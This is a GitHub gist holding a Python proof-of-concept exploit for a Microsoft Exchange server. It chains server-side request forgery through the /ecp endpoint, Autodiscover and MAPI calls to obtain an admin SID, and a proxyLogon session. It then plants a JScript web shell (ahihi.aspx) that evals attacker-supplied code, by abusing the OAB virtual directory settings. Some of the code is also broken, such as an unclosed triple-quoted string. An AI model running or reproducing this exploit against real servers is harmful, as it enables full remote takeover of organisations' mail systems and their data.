Created
March 11, 2021 08:57
-
-
Save ss23/05c2a1811dbc5b582e730e93cbbf8c0b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from urllib3.exceptions import InsecureRequestWarning | |
import random | |
import string | |
import sys | |
def id_generator(size=6, chars=string.ascii_lowercase + string.digits): | |
return ''.join(random.choice(chars) for _ in range(size)) | |
if len(sys.argv) < 2: | |
print("Usage: python PoC.py <target> <email>") | |
print("Example: python PoC.py mail.evil.corp [email protected]") | |
exit() | |
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
target = sys.argv[1] | |
email = sys.argv[2] | |
random_name = id_generator(3) + ".js" | |
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" | |
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx" | |
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path | |
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>' | |
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a" | |
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> | |
<Request> | |
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> | |
</Request> | |
</Autodiscover> | |
print("Attacking target " + target) | |
print("=============================") | |
print(legacyDnPatchByte.decode('hex')) | |
FQDN = "EXCHANGE" | |
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", | |
"User-Agent": user_agent}, | |
verify=False) | |
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: | |
FQDN = ct.headers["X-FEServer"] | |
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ | |
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, | |
"Content-Type": "text/xml", | |
"User-Agent": user_agent}, | |
data=autoDiscoverBody, | |
verify=False | |
) | |
if ct.status_code != 200: | |
print("Autodiscover Error!") | |
exit() | |
if "<LegacyDN>" not in ct.content: | |
print("Can not get LegacyDN!") | |
exit() | |
legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0] | |
print("Got DN: " + legacyDn) | |
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" | |
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ | |
"Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN, | |
"Content-Type": "application/mapi-http", | |
"User-Agent": user_agent | |
}, | |
data=mapi_body, | |
verify=False | |
) | |
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content: | |
print("Mapi Error!") | |
exit() | |
sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0] | |
print("Got SID: " + sid) | |
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r> | |
""" % sid | |
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ | |
"Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN, | |
"Content-Type": "text/xml", | |
"User-Agent": user_agent | |
}, | |
data=proxyLogon_request, | |
verify=False | |
) | |
if ct.status_code != 241 or not "set-cookie" in ct.headers: | |
print("Proxylogon Error!") | |
exit() | |
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0] | |
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0] | |
print("Got session id: " + sess_id) | |
print("Got canary: " + msExchEcpCanary) | |
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={ | |
"Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( | |
FQDN, sess_id, msExchEcpCanary), | |
"User-Agent": user_agent | |
}, | |
verify=False | |
) | |
if ct.status_code != 200: | |
print("Wrong canary!") | |
print("Sometime we can skip this ...") | |
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0] | |
# print "Got rbacRole: "+ rbacRole | |
print("=========== It means good to go!!!====") | |
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ | |
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( | |
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), | |
"Content-Type": "application/json; charset=utf-8", | |
"User-Agent": user_agent | |
}, | |
json={"filter": { | |
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", | |
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}, | |
verify=False | |
) | |
if ct.status_code != 200: | |
print("GetOAB Error!") | |
exit() | |
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0] | |
print("Got OAB id: " + oabId) | |
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, | |
"properties": { | |
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", | |
"ExternalUrl": "http://ffff/#%s" % shell_content}}} | |
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ | |
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( | |
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), | |
"Content-Type": "application/json; charset=utf-8", | |
"User-Agent": user_agent | |
}, | |
json=oab_json, | |
verify=False | |
) | |
if ct.status_code != 200: | |
print("Set external url Error!") | |
exit() | |
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, | |
"properties": { | |
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", | |
"FilePathName": shell_absolute_path}}} | |
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ | |
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( | |
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), | |
"Content-Type": "application/json; charset=utf-8", | |
"User-Agent": user_agent | |
}, | |
json=reset_oab_body, | |
verify=False | |
) | |
if ct.status_code != 200: | |
print("Write Shell Error!") | |
exit() | |
print("Successful!") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment